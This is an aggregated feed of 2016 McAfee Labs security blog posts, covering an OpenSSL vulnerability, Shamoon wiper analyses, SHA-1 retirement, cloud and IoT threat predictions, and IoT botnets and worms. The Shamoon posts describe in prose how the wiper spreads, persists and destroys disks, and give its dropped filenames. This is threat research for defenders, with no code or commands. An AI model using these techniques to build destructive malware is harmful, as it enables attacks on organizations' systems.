Many of us remember the notorious OpenSSL Heartbleed attack, which occurred in April 2014. At that time it was considered the Internet’s worst nightmare. “A survey of American adults conducted in April 2014 showed that 60% had heard about Heartbleed. Among those using the Internet, 39% had protected their online accounts, for example by changing passwords or canceling accounts; 29% believed their personal information was put at risk because of the Heartbleed bug; and 6% believed their personal information had been stolen,” according to Wikipedia. From the attack and these survey results, we can see that a single critical OpenSSL issue can cause a significant impact on the Internet due to OpenSSL’s wide deployment. The vulnerability, CVE-2016-6309, that we discuss in this post is different from other OpenSSL vulnerabilities. In this case, the flaw occurs when the OpenSSL server handles the handshake message, the first packet of the TLS protocol. This makes the attack easy to carry out because the attacker can send just one packet to deny access to the server without the need for authentication.

The update is available here.

For McAfee Network Security Platform customers, we have released the signature 0x45c08f00 “SSL: Possible OpenSSL Use-After-Free Vulnerability (CVE-2016-6309)” to prevent this attack.

The post How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/feed/ 0
Shamoon Rebooted in Middle East, Part 2 https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted-middle-east-part-2/ https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted-middle-east-part-2/#respond Fri, 09 Dec 2016 19:14:08 +0000 https://securingtomorrow.mcafee.com/?p=66974 Last week we provided some initial analysis on recent attacks targeting organizations in the Middle East.  The attack has hallmarks of the Shamoon campaign of 2012. We now have additional data related to the components used within the new campaign, which has three distinct components: dropper, wiper, and wiper driver. The language of these three …

The post Shamoon Rebooted in Middle East, Part 2 appeared first on McAfee Blogs.

]]>
Last week we provided some initial analysis on recent attacks targeting organizations in the Middle East.  The attack has hallmarks of the Shamoon campaign of 2012. We now have additional data related to the components used within the new campaign, which has three distinct components: dropper, wiper, and wiper driver.

The language of these three components—PKCS12 (wiper), PKCS7, and X509—is lang:9217, which translates to Yemeni Arabic. We also see both 32- and 64-bit versions.

The malware spreads over the network using the IPC$ share and embedded administrator credentials from the targeted organization, so we can assume that the attackers already had a beachhead to gather these credentials from one of the samples. The password was also very strong, another indicator that the attackers might have had network access to compromise passwords and accounts. Indeed, our Foundstone team, which has conducted significant work on both campaigns, has confirmed individuals (not related to the attacks) who have shown off their technical prowess by publicizing the compromised credentials on public forums.

The malware tries to disable the user account control, verifies if it is connected with admin credentials, and drops the payload in the System32 folder. Another run option is to use the AT command and schedule a job to execute the payload.

Wiping function

The wiper component was hardcoded to start Thursday, November 17 at 20:45, after the beginning of Saudi Arabia’s Friday holiday, when most employees have left and after the evening prayer time.

The wiper component verifies the date and extracts the wiper component to System32 using the same random names as generated by the Shamoon code from 2012. The wiper has three options for deletion: F, E, and R. The F option wipes the data with the JPEG of the Syrian refugee boy Alan Kurdi lying drowned on the beach. The E and R option wipe using random values. Shamoon 1 used a JPEG of a burning US flag.

Also during the mass deletion, the wiper uses the Eldos RawDisk driver to change the system time to August 2012, probably to not allow the expiration of the trial period of the temporary license for the software.

We have found many similarities between the 2012 attack and this recent campaign. There are a few alterations to the code and political themes, but overall we see a similar framework and process.

Detection

In cooperation with McAfee Labs we can confirm that all related samples of this attack are detected by the signature DistTrack![partial-hash].

The driver used for the wiper is legitimate software. Thus this threat carries the on-screen warning Possibly Unwanted Program. We will continue our analysis, particularly as our Foundstone team identifies additional indicators.

The post Shamoon Rebooted in Middle East, Part 2 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted-middle-east-part-2/feed/ 0
Farewell to the SHA-1 Hash Algorithm https://securingtomorrow.mcafee.com/mcafee-labs/farewell-sha-1-hash-algorithm/ https://securingtomorrow.mcafee.com/mcafee-labs/farewell-sha-1-hash-algorithm/#respond Thu, 01 Dec 2016 01:46:22 +0000 https://securingtomorrow.mcafee.com/?p=66734 Rest in peace SHA-1. Like all security controls, they are valuable only for a certain time. SHA-1, a legacy hashing algorithm once used heavily in secure web browsing, has outlived its usefulness; it is time for its permanent retirement. Microsoft, Mozilla, and Google just announced they will finally drop all support for SHA-1 early next …

The post Farewell to the SHA-1 Hash Algorithm appeared first on McAfee Blogs.

]]>
encrypted_laptop650

Rest in peace SHA-1. Like all security controls, they are valuable only for a certain time. SHA-1, a legacy hashing algorithm once used heavily in secure web browsing, has outlived its usefulness; it is time for its permanent retirement. Microsoft, Mozilla, and Google just announced they will finally drop all support for SHA-1 early next year. The risks of using a weak hashing algorithm in browsers include the possibility of man-in-the-middle attacks, spoofed content, and even phishing against victims.

This security hashing algorithm has been around since circa 1995 and heavily used in protecting web content. Hashing algorithms provide a vital role in verifying the integrity of files and are used when making a secure web connection (i.e., https:// sites) to ensure you are visiting the correct location and not a spoofed site looking to harvest your data. The problem arose in 2005 when researchers from Princeton University published a paper showing it was possible to find collisions much easier than previously thought. For hashing, collisions represent the ability to duplicate the verification with a different source, thus invalidating the security of the system.

The National Institute of Standards and Technology has recommended since 2012 switching to the upgraded SHA-2 variant. But removing embedded algorithms is not an easy or convenient process for website administrators. Thus outdated versions tend to linger on well after their useful life. Ultimately, such legacy support becomes more caustic over time and lends itself to progressively weaker security.

So, the end of SHA-1 is good news for everyone, except attackers. Farewell SHA-1. The industry has finally stood up and collectively voted you out.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post Farewell to the SHA-1 Hash Algorithm appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/farewell-sha-1-hash-algorithm/feed/ 0
Shamoon Rebooted? https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted/ https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted/#respond Tue, 29 Nov 2016 12:15:24 +0000 https://securingtomorrow.mcafee.com/?p=66683 We have recently received notifications and samples from impacted organizations in the Middle East that have hallmarks of the Shamoon campaign from 2012. The main component of these attacks was the usage of a wiper component that, once activated, destroyed the hard disks of infected machines. The initial infection vector for the recent attacks is …

The post Shamoon Rebooted? appeared first on McAfee Blogs.

]]>
We have recently received notifications and samples from impacted organizations in the Middle East that have hallmarks of the Shamoon campaign from 2012. The main component of these attacks was the usage of a wiper component that, once activated, destroyed the hard disks of infected machines.

The initial infection vector for the recent attacks is unknown. Analyzing the submitted files, we started to recognize similar tactics and procedures that we discovered in 2012.

When the initial executable is run, it creates a copy of itself in the %SystemRoot%\System32 folder using the name trksrv.exe and starts itself as a new service.

After the trksvr service has starts, it drops files, in either a 32- or 64-bit version, depending on the system of the victim. Reverse engineering one of the binaries, we discovered the following random-name examples that could be used for these 32- or 64-bit binaries:

  • ntdsutl.exe
  • power.exe
  • rdsadmin.exe
  • regsys.exe
  • sigver.exe
  • routeman.exe
  • ntnw.exe
  • netx.exe
  • fsutl.exe
  • extract.exe

Some of these filenames are the same as those used in the first Shamoon attack; other filenames are new.

This dropped executable is the wiper module and is responsible for overwriting various files on the hard disk and also the master boot record and boot sector.

The wiper module also drops the file drdisk.sys, which is a standard component from a commercial application (Eldos) that allows programs low-level access to hard disk drives. This driver was used in the first Shamoon attack, and again in this new campaign.

The wiper module initiates an enumeration of files on the victim’s disk and writes the results to a file with the extension “.pnf,” the file that the wiper module will use as an input for which files to wipe.

We are continuing our investigation into this campaign, and intend to publish further analyses.

McAfee Labs detects samples with the following names:

  • W32/DistTrack
  • Artemis detection
  • DistTrack!sys
  • Trojan-FKIQ![hash]
  • Trojan-FKIR![hash]

 

 

The post Shamoon Rebooted? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/shamoon-rebooted/feed/ 0
Big, Hard-to-Solve Problems https://securingtomorrow.mcafee.com/mcafee-labs/big-hard-solve-problems/ https://securingtomorrow.mcafee.com/mcafee-labs/big-hard-solve-problems/#respond Tue, 29 Nov 2016 11:55:48 +0000 https://securingtomorrow.mcafee.com/?p=66670 Improving the Lifecycle of Threat Defense Effectiveness When a new security tool or technique is released, Version 1.0 is usually pretty effective, and successive versions get even better with real-world scenarios and user feedback. Eventually, the bad guys realize that this new thing is causing them real problems, so they start looking for ways over, …

The post Big, Hard-to-Solve Problems appeared first on McAfee Blogs.

]]>
Improving the Lifecycle of Threat Defense Effectiveness

When a new security tool or technique is released, Version 1.0 is usually pretty effective, and successive versions get even better with real-world scenarios and user feedback. Eventually, the bad guys realize that this new thing is causing them real problems, so they start looking for ways over, around, or through it. They conduct experiments, find vulnerabilities, develop evasion techniques and exploits, and the new thing’s effectiveness gradually declines.

Talking with Intel Security thought leaders, we developed a list of hard-to-solve problems that together shorten the threat defense effectiveness lifecycle. When we fix these problems, we will lengthen the lifecycle. The hard-to-solve problems, along with early industry efforts to fix them, are detailed in the McAfee Labs 2017 Threat Predictions report. These problems cannot be solved with a patch or a new security tool. They need foundational research, lots of development, and a collaborative effort throughout the security industry.

Information asymmetry

Unlike during many conflicts, cybercriminals have far more information about our security techniques and defenses than we have about their attacks. They can test against security products and real-world defenses without consequences, and we cannot see most of what they are doing. If we share more information with each other about what we learn, we can build more complete attack pictures, identify potential weaknesses in our technologies, and work quickly to adapt and improve. Because money is the prime motivator for most attacks, anything we can do to make attacks less profitable, increase the likelihood of consequences, and support law enforcement activities will help.

Insufficient visibility

Attacks are often not discovered until long after data has been stolen. Shadow IT, multiple cloud types, personal devices, and the disappearing network perimeter have made it more difficult for security operations to know what is where. As a result, the trend is away from absolute protection and toward informed risk management. Tools that identify and classify data, monitor its movement, and encrypt it or block its path are needed to identify and modify risky behavior, and build a clearer risk profile.

Exploitation of legitimacy

For all the talk of sophisticated hackers and complex exploits, legitimate credentials stolen through phishing and other social engineering attacks that target human vulnerabilities is the tool of choice for many cybercriminals. Telling the difference between valid and suspicious activity on a legitimate account is very difficult. Behavioral analysis to detect suspicious activity is a good start, but we need to move to a transactional model that evaluates the potential intent of individual actions and data movements. One possibility is the addition of user reputation information to behavioral analysis. This is a very delicate issue that might involve attributes such as job role, tendency to reuse passwords, typical working hours and locations, and even details from HR databases to determine whether a suspicious action is malicious.

Agentless protection

Finally, new device types with little memory or computing capacity, a proliferation of limited-scope operating systems, and devices that cannot be updated are moving security away from the traditional agent-based approach to protection. Chips will need enhanced hardware-level security and trusted execution environments, supported by elastic cloud-based behavioral analysis and threat processing, and informed by large networks of shared threat intelligence.

Cybersecurity has some pretty big problems, but collaborative efforts between security vendors, law enforcement organizations, and affected companies will help lengthen the threat defense effectiveness lifecycle.

To read the full details about these and other hard-to-solve problems and early efforts by the security industry to resolve them, download the McAfee Labs 2017 Threats Predictions report.

 

Listen as Intel Security experts discuss threats predictions for 2017. Register here:

 

The post Big, Hard-to-Solve Problems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/big-hard-solve-problems/feed/ 0
‘McAfee Labs 2017 Threats Predictions’ Report Zeroes In on Cloud and IoT Threats https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-2017-threats-predictions-report-zeroes-cloud-iot-threats/ https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-2017-threats-predictions-report-zeroes-cloud-iot-threats/#respond Tue, 29 Nov 2016 05:04:32 +0000 https://securingtomorrow.mcafee.com/?p=66495 In the McAfee Labs 2017 Threats Predictions report, published today, we cover a lot of ground but focus particularly on two areas that will impact IT security for years to come: threats to the cloud and the Internet of Things. The report kicks off with a big-picture examination of difficult-to-solve problems in cyber security and …

The post ‘McAfee Labs 2017 Threats Predictions’ Report Zeroes In on Cloud and IoT Threats appeared first on McAfee Blogs.

]]>
In the McAfee Labs 2017 Threats Predictions report, published today, we cover a lot of ground but focus particularly on two areas that will impact IT security for years to come: threats to the cloud and the Internet of Things.

mcafee-labs-2017-threats-predictions-report-cover

The report kicks off with a big-picture examination of difficult-to-solve problems in cyber security and the security industry’s early efforts to solve them. These perplexing problems require foundational research, new classes of products, heavy development time and effort, and a sustained focus, often by multiple industry participants working together. In this article, we discuss six of those challenges.

Our next story looks at cloud threats and breaches, laws and borders, and vendor responses. Eleven Intel Security thought leaders collaborated to produce this analysis of cloud threats and expected legal and industry responses during the next two to four years. What threats and breaches do we expect to see? How will geopolitical issues, legislation, and regulatory actions affect this environment? And what responses do we anticipate from cloud service providers and security vendors?

Our final long-lens story is about threats to the Internet of Things. Using the same approach as the cloud threats story, 10 Intel Security thought leaders offer predictions about threats and breaches, laws and borders, and vendor responses during the next two to four years.

Following these in-depth stories, we make specific predictions about threats activity in 2017. Our predictions cover 14 threat types, including ransomware, vulnerabilities of all kinds, the use of threat intelligence to improve defenses, and attacks on mobile devices.

Among other things, we:

  • Predict that ransomware will peak in the middle of next year but then begin to recede.
  • Discuss why threat intelligence sharing will see major advancements in 2017.
  • Explain why machine learning will be used to enhance socially engineered attacks.
  • Detail why vulnerabilities in several of the most common apps will continue to drop in 2017.
  • Examine why there will be even more cooperation between security vendors and law enforcement agencies to take down cybercriminals.

Looking back at last year’s report, many of our threat predictions came true, some did not, and other threats were completely unanticipated. Very few could have predicted, for instance, that insecure Linux devices, including online consumer devices such as remote cameras and home routers, would be organized into a giant botnet to perform a major DDoS attack on an Internet infrastructure provider. But it happened!

This year’s report makes some bold predictions. I expect that our batting average will be about the same as last year and that an unexpected threat will come out of the blue, making major headlines. Such is the nature of the predictions business.

Read the McAfee Labs 2017 Threats Predictions report.

The post ‘McAfee Labs 2017 Threats Predictions’ Report Zeroes In on Cloud and IoT Threats appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-2017-threats-predictions-report-zeroes-cloud-iot-threats/feed/ 0
You Can Outsource the Work, but You Cannot Outsource the Risk https://securingtomorrow.mcafee.com/mcafee-labs/can-outsource-work-cannot-outsource-risk/ https://securingtomorrow.mcafee.com/mcafee-labs/can-outsource-work-cannot-outsource-risk/#respond Tue, 29 Nov 2016 05:01:28 +0000 https://securingtomorrow.mcafee.com/?p=66594 Threats, Regulations, and Vendor Responses to Risks in the Cloud As more companies get comfortable with cloud services, trust and usage will go up, and that will inevitably attract the attention of cybercriminals. Although an increasing array of sensitive and confidential data is moving to cloud storage and processing, we expect that most businesses will …

The post You Can Outsource the Work, but You Cannot Outsource the Risk appeared first on McAfee Blogs.

]]>
Threats, Regulations, and Vendor Responses to Risks in the Cloud

As more companies get comfortable with cloud services, trust and usage will go up, and that will inevitably attract the attention of cybercriminals. Although an increasing array of sensitive and confidential data is moving to cloud storage and processing, we expect that most businesses will continue to keep the crown jewels in their own data centers. This may actually increase risk. We believe that with deeper and broader security resources, public clouds are arguably more secure than private clouds.

We discussed the future of cloud threats, regulations, and likely vendor responses with Intel Security thought leaders and distilled their ideas in the McAfee Labs 2017 Threats Predictions report. Some of the top threats include continued risk from antiquated authentication systems, insufficient visibility into and control of cloud workloads, and ongoing regulatory challenges.

Continued risk from antiquated authentication systems

People and their passwords continue to be the most frequent vulnerability exploited in data breaches. Stealing credentials gives criminals seemingly legitimate access to systems, often undetected by security defenses. Stealing credentials for cloud systems, especially those of administrators, can enable access to hundreds or thousands of customer databases and workloads. We expect targeted attacks against cloud administration accounts to increase, whether through brute force, phishing, or other social engineering vectors. Security vendors will respond with new types of multifactor and biometric identification systems, expanding from fingerprints to other unique factors such as irises, faces, and heartbeats.

Insufficient visibility into and control of cloud workloads

The ability to move data and workloads around is an important cloud benefit, but it also increases risk. Not knowing where data is going or not being able to control where workloads run can affect regulatory compliance or expose data to theft. Capabilities that restrict data movement or workloads lag well behind the need. We expect that increasing cloud awareness will be built into data loss prevention and policy orchestration tools, enabling better coordination of security controls and policies across internal and external clouds.

Ongoing regulatory challenges

Perhaps the biggest uncertainty in cloud services is the growing gap between usage and regulation, and the legal disparity between jurisdictions. Lawmakers cannot keep up with the rate of technological change in this area, and so will use phrases such as “due diligence” and “reasonable efforts” in cloud privacy and security legislation. As a result, cloud service providers, cyber insurance providers, and their customers will face years of litigation. We expect some jurisdictions to impose minimum operating or auditing requirements for cloud service providers, while others will restrict data movement. These conflicting and sometimes even contradictory regulations will be a significant challenge for multinational corporations, and may even restrict cloud adoption in some markets.

To read the full details about these and other cloud predictions, download the McAfee Labs 2017 Threats Predictions report.

 

Listen as Intel Security experts discuss threats predictions for 2017. Register here:

This blog was written by Jamie Tischart.

The post You Can Outsource the Work, but You Cannot Outsource the Risk appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/can-outsource-work-cannot-outsource-risk/feed/ 0
Welcome to the Wild West, Again! https://securingtomorrow.mcafee.com/mcafee-labs/welcome-wild-west/ https://securingtomorrow.mcafee.com/mcafee-labs/welcome-wild-west/#respond Tue, 29 Nov 2016 05:01:10 +0000 https://securingtomorrow.mcafee.com/?p=66592 Threats, Regulations, and Vendor Responses to Risks in the Internet of Things The Wild West, a place of exaggerated lawlessness in the United States during the 1800s, has returned once again as a metaphor for the Internet of Things (IoT). Driven by similar issues of exploration, homesteading, and prospecting for riches, IoT devices are becoming …

The post Welcome to the Wild West, Again! appeared first on McAfee Blogs.

]]>
Threats, Regulations, and Vendor Responses to Risks in the Internet of Things

The Wild West, a place of exaggerated lawlessness in the United States during the 1800s, has returned once again as a metaphor for the Internet of Things (IoT). Driven by similar issues of exploration, homesteading, and prospecting for riches, IoT devices are becoming as common as the bison that once roamed these lands. Hundreds of thousands of device types, organized into vast networks that will generate an immeasurable amount of data, are being incorporated into almost every industry and proposed for every type of consumer activity.

We discussed the future of IoT threats, regulations, and likely vendor responses with experts throughout the company, and distilled their thoughts in the McAfee Labs 2017 Threat Predictions report. IoT devices should really be thought of as part of a network. Their connections to the cloud make threats and responses closely linked to the cloud. Some of the top issues include an increasing fear of a somewhat formless threat, rookie mistakes by device makers unfamiliar with cybersecurity practices, and ongoing regulatory challenges.

Growing fear, but of what?

IoT devices are definitely going to attract criminal activity as a source of data or as an attack vector. We have already seen the beginnings of this, including data breaches that gained initial access through a connected IoT device, and the recent distributed denial-of-service (DDoS) attack on Internet infrastructure from compromised webcams. So the fear of attack is legitimate, but the form of future attacks remains uncertain. Cybercriminals are driven by money, and it remains unclear how they will leverage the vulnerability of these devices for profit. We expect ransomware of some kind, including DoS attacks that prevent the devices from being used properly, to be the easiest way for attackers to make money, and thus the biggest initial threat. The relative security weaknesses and broad attack surface of IoT devices also make them a prime target for hacktivists.

Rookie mistakes

Many companies are adding IP functionality to their devices in order to improve efficiency and collect data about device usage. Too many of these companies have little experience with Internet connectivity, and we expect them to make rookie mistakes, with things such as default passwords (which enabled the recent DDoS attack), unnecessary privilege levels, and unpatched (or even unpatchable) vulnerabilities. They will learn, but it will take years of breaches, attacks, litigation, regulation, and painful lessons.

Ongoing regulatory challenges and cultural privacy norms

Similar to what has happened with the cloud, the rapid adoption of IoT devices is creating a big gap in regulation. With consumers at the forefront of IoT device adoption, privacy concerns will be the biggest initial driver of legislation. Different jurisdictions already have divergent attitudes and regulations toward privacy, which IoT devices will only exacerbate. Lawmakers will have great difficulty keeping up with these technological advancements. Incidents and the resulting litigation, protests, consumer backlash, and corporate accountability will affect the development of legislation differently in each jurisdiction. Contradictions and uncertainty surrounding IoT regulations will be a significant challenge for multinational corporations and may even restrict IoT device adoption in some markets.

To read the full details about these and other IoT predictions, download the McAfee Labs 2017 Threats Predictions report.

 

Listen as Intel Security experts discuss threats predictions for 2017. Register here:

 

The post Welcome to the Wild West, Again! appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/welcome-wild-west/feed/ 0
Upcoming Intel Security Webcast on McAfee Labs 2017 Threats Predictions Moderated by Intel Security CTO Raj Samani https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-webcast-threats-predictions/ https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-webcast-threats-predictions/#respond Wed, 23 Nov 2016 22:33:19 +0000 https://securingtomorrow.mcafee.com/?p=66563 McAfee Labs 2017 Threats Predictions The cyberattack surface is growing faster than ever before, driven by trends and technologies like the cloud and the Internet of Things (IoT). As the digital landscape evolves, so will threats. What can we expect a year from now—or four years from now? Prepare for the future by attending the …

The post Upcoming Intel Security Webcast on McAfee Labs 2017 Threats Predictions Moderated by Intel Security CTO Raj Samani appeared first on McAfee Blogs.

]]>
McAfee Labs 2017 Threats Predictions

The cyberattack surface is growing faster than ever before, driven by trends and technologies like the cloud and the Internet of Things (IoT). As the digital landscape evolves, so will threats. What can we expect a year from now—or four years from now?

Prepare for the future by attending the McAfee Labs 2017 Threats Predictions webcast on December 14.  Hear from a diverse panel of Intel Security experts, moderated by Intel Security CTO Raj Samani, sharing their predictions about how threats will evolve in 2017 and beyond, as well as expected responses from legislators and the security industry.

APAC – 3:00pm AEDT REGISTER NOW.
EMEA – 3:00pm GMT / 4:00pm CET REGISTER NOW.
Americas – 2:00pm EST REGISTER NOW.

Discussion topics include:

  1. Cloud threats, regulations, and vendor response
  2. IoT threats, regulations, and vendor response
  3. Attacks on hardware, firmware, and virtual machines
  4. Ransomware attacks
  5. Threat intelligence sharing

add-heading

Be sure to follow us @IntelSecurity , @IntelSec_Biz,  @McAfee_Labs, @Raj_Samani, @ChristiaanBeek, @Jarvisj, @Matt_Rosenquist, @lyndagrindstaff@IntelSec_APAC , and @IntelSec_UK for the latest on online events.

The post Upcoming Intel Security Webcast on McAfee Labs 2017 Threats Predictions Moderated by Intel Security CTO Raj Samani appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/intel-security-webcast-threats-predictions/feed/ 0
Worms Could Spread Like Zombies via Internet of Things https://securingtomorrow.mcafee.com/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/ https://securingtomorrow.mcafee.com/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/#respond Mon, 21 Nov 2016 23:45:46 +0000 https://securingtomorrow.mcafee.com/?p=65258 Security researchers recently created a proof-of-concept attack against Internet-connected lightbulbs, causing breached devices to infect their neighbors. The propagation continues and spreads itself across the community. This hack highlights the insecurity in one of many Internet of Things (IoT) network protocols. Researchers say the worm, which currently targets Philips Hue lightbulbs, can set off a …

The post Worms Could Spread Like Zombies via Internet of Things appeared first on McAfee Blogs.

]]>
home-automation-networks1

Security researchers recently created a proof-of-concept attack against Internet-connected lightbulbs, causing breached devices to infect their neighbors. The propagation continues and spreads itself across the community. This hack highlights the insecurity in one of many Internet of Things (IoT) network protocols.

Researchers say the worm, which currently targets Philips Hue lightbulbs, can set off a chain reaction that could compromise devices across entire cities. Right now, the hack causes the insecure web-connected globes only to flick on and off, but this is only a proof of concept to show foundational weaknesses. It is likely more advanced impacts and propagation could be developed.

Home automation networks

The primary weakness is in the network to which the devices are connected. ZigBee, Thread, WeMo, and Z-Wave were developed as home automation standards to communicate with and control IoT devices. They have been around for years and complement more familiar Wi-Fi and Bluetooth standards. In many cases these require a hub, which can connect a mix of products communicating on two or more of these standards. These are popular in homes settings and have expanded over the years into business environments.

ZigBee and Z-Wave are the most widely used of these automation protocols. Z-Wave has more than 1,500 products, totaling over 50 million devices in customers’ hands, and ZigBee has more than 1,000 products. Thread is the newest and, unlike ZigBee/Z-Wave, is IP based, which has both pluses and minuses from a security perspective. The Thread protocol was driven by the needs of Google’s Nest Labs, Samsung Electronics, ARM, and others who want a smart-home networking protocol compatible with IP Version 6.

home-automation-networks

Theoretical attack

The vulnerability research highlights the insecurity of such systems, especially in peer-to-peer or mesh mode. Such configurations can open the door to chained attacks, such as zombie infestations you see in movies. The worm spreads by jumping from one infected lamp to physically nearby neighbors using their ZigBee connections. Because there is no validation between Philips Hue globes, the attack is allowed to spread.

Based upon percolation theory simulations to infect an entire city, researchers believe there is a tipping point at which it would take at least 15,000 vulnerable devices to sustain the contagion to spread everywhere. With any fewer, they suspect the infection would remain restricted to certain areas and not infect an entire city. Estimates vary, but the total number of global IoT devices may exceed 30 billion by 2020. Many of these will be connected to home automation networks.

Key points

  1. This is a proof-of-concept attack, not yet seen in the wild. It does highlight the risks that entire networks of devices may be compromised and, even worse, configured to infect each other.
  2. A real-world attack could range from flashing lights to moderately inconvenient and costly incidents in which devices must be recovered while safety may be at risk. Impacts will be based upon the types of devices deployed and how they are used. Household-convenience devices are less important than those in an emergency room or illuminating a busy intersection.
  3. The vulnerability research is a motivator for standards bodies to take action in hardening these standards. Future versions, with improved security, may not be backward compatible in all cases and residual devices would remain susceptible to attack.
  4. These standards have some encryption and authentication controls in place; but, as the research has proven, these can be undermined.
  5. Such attacks are a fear of “smart city” developers, most of whom have known this could happen. Long-term security is still uncertain.

The importance of IoT security is currently a hotly debated topic; these additional weaknesses add to the overall concerns. I expect both further vulnerability research and eventual real-world attacks will inspire developers to work on insecure IoT network protocols. We need more scrutiny and better design and security practices because these devices will soon control more facets of our personal lives and business functions.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post Worms Could Spread Like Zombies via Internet of Things appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/worms-could-spread-like-zombies-via-internet-of-things/feed/ 0
More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray https://securingtomorrow.mcafee.com/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/ https://securingtomorrow.mcafee.com/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/#respond Wed, 09 Nov 2016 05:03:49 +0000 https://securingtomorrow.mcafee.com/?p=64205 On the heels of severe distributed denial of service (DDoS) attacks, we see new botnets emerging that are powered by the Internet of Things (IoT). There are already hundreds of such botnets in the underground hacking ecosystem, from which services, code, and specific attacks can be purchased or acquired. New botnets are being developed to …

The post More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray appeared first on McAfee Blogs.

]]>
botnet1

On the heels of severe distributed denial of service (DDoS) attacks, we see new botnets emerging that are powered by the Internet of Things (IoT). There are already hundreds of such botnets in the underground hacking ecosystem, from which services, code, and specific attacks can be purchased or acquired. New botnets are being developed to meet the growing demand and to circumvent anticipated security controls.

The latest IoT botnet

Researchers have spotted the new IoT botnet Linux/IRCTelnet. In just five days, it infected 3,500 devices and features an old-school adaptation: using Internet relay chat (IRC) as the control structure. IRC is a very old technology based upon the original chat boards (before the World Wide Web). A decade ago many of the first botnets used IRC. It is not particularly difficult for security software to combat, and thus represents a curious choice by the attackers, whom I assume are not top tier (certainly not at the level of nation-states).

Linux/IRCTelnet is not based upon the popular Mirai IoT DDoS botnet software, but rather on Aidra code. Linux/IRCTelnet does, however, leverage the default passwords of IoT devices to gain control. It is the easiest path at the moment. Attackers will find other entries once that door closes, so do not imagine we can “solve” IoT security with the elimination of default passwords. It is just one chess move in a long game we are begrudgingly forced to play. Although this Linux bot is still new and small, it could hold the potential for more directed attacks and highlights how malware writers are working to differentiate their attack code.

More targets will arise

We already see a broad range of telecommunications, political, business, Internet infrastructure, and social sites being targeted. The latest is an attack against the national Internet access of Liberia. Access to the web has been spotty for customers, with attackers at times pushing more than 600Gb/second of data to choke the network. Most access is provided by the African Coast to Europe undersea cable, and these attacks could affect many other nations in West Africa that rely on this data pipeline.

What comes next?

Expect more entry-level botnets, many of which will eventually be supplanted by more professional malware. Thus far, most of the IoT botnets have been basic. This will change as more professional and well-funded players emerge.

Look for sophisticated attackers to do the following when they enter the fray:

  • Patch or change the passwords of the victims’ IoT devices after infection, so others cannot take over their prey.
  • Set up more sophisticated and concealed control structures to make it more difficult to track bot herders or interfere with their commands.
  • Implement encrypted communications to the end nodes to conceal instructions, updates, and new targeting instructions.
  • Begin exploiting vulnerabilities in real-time or standard operating systems on high-end devices to gain more functionality and persistence.
  • Begin siphoning data from IoT devices, which can be valuable for many purposes, including extending attacks further into homes, businesses, and governments.

I predict the next phase of attacks on availability will begin right around the time the industry effectively addresses the default-password weaknesses. Then we’ll see confidentiality attacks, followed by integrity compromises. Brace for a long fight because IoT devices are highly coveted by attackers. This competition will be a major challenge.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post More Capable IoT Botnets to Emerge as the ‘Pros’ Enter the Fray appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/more-capable-iot-botnets-to-emerge-as-the-pros-enter-the-fray/feed/ 0
Talking About Cyber Risks Educates the Community https://securingtomorrow.mcafee.com/mcafee-labs/talking-about-cyber-risks-educates-the-community/ https://securingtomorrow.mcafee.com/mcafee-labs/talking-about-cyber-risks-educates-the-community/#respond Mon, 07 Nov 2016 20:02:26 +0000 https://securingtomorrow.mcafee.com/?p=64165 In the last 12 months, we have seen an unprecedented number of cyberattacks occur or come to light. Sophisticated attacks against governments, businesses, consumers, and the pillars of the Internet itself. The future appears to be fraught with runaway risks. Can security tame data breaches, ransomware, massive denial of service assaults, cyber theft, and attacks against autonomous and …

The post Talking About Cyber Risks Educates the Community appeared first on McAfee Blogs.

]]>
table-discussion

In the last 12 months, we have seen an unprecedented number of cyberattacks occur or come to light. Sophisticated attacks against governments, businesses, consumers, and the pillars of the Internet itself. The future appears to be fraught with runaway risks. Can security tame data breaches, ransomware, massive denial of service assaults, cyber theft, and attacks against autonomous and Internet-connected devices that potentially put people’s lives in jeopardy?

That was the topic for the advisory council members of the Bay Area SecureWorld conference, recently held in San Jose, Calif. As moderator, I had the task is keeping control of a conversation with a room full of passionate experts who live and breathe these challenges every day.

In the past year, a number of significant risks have risen. The team had no hesitation in talking about some of the big issues.

IoT DDoS attacks

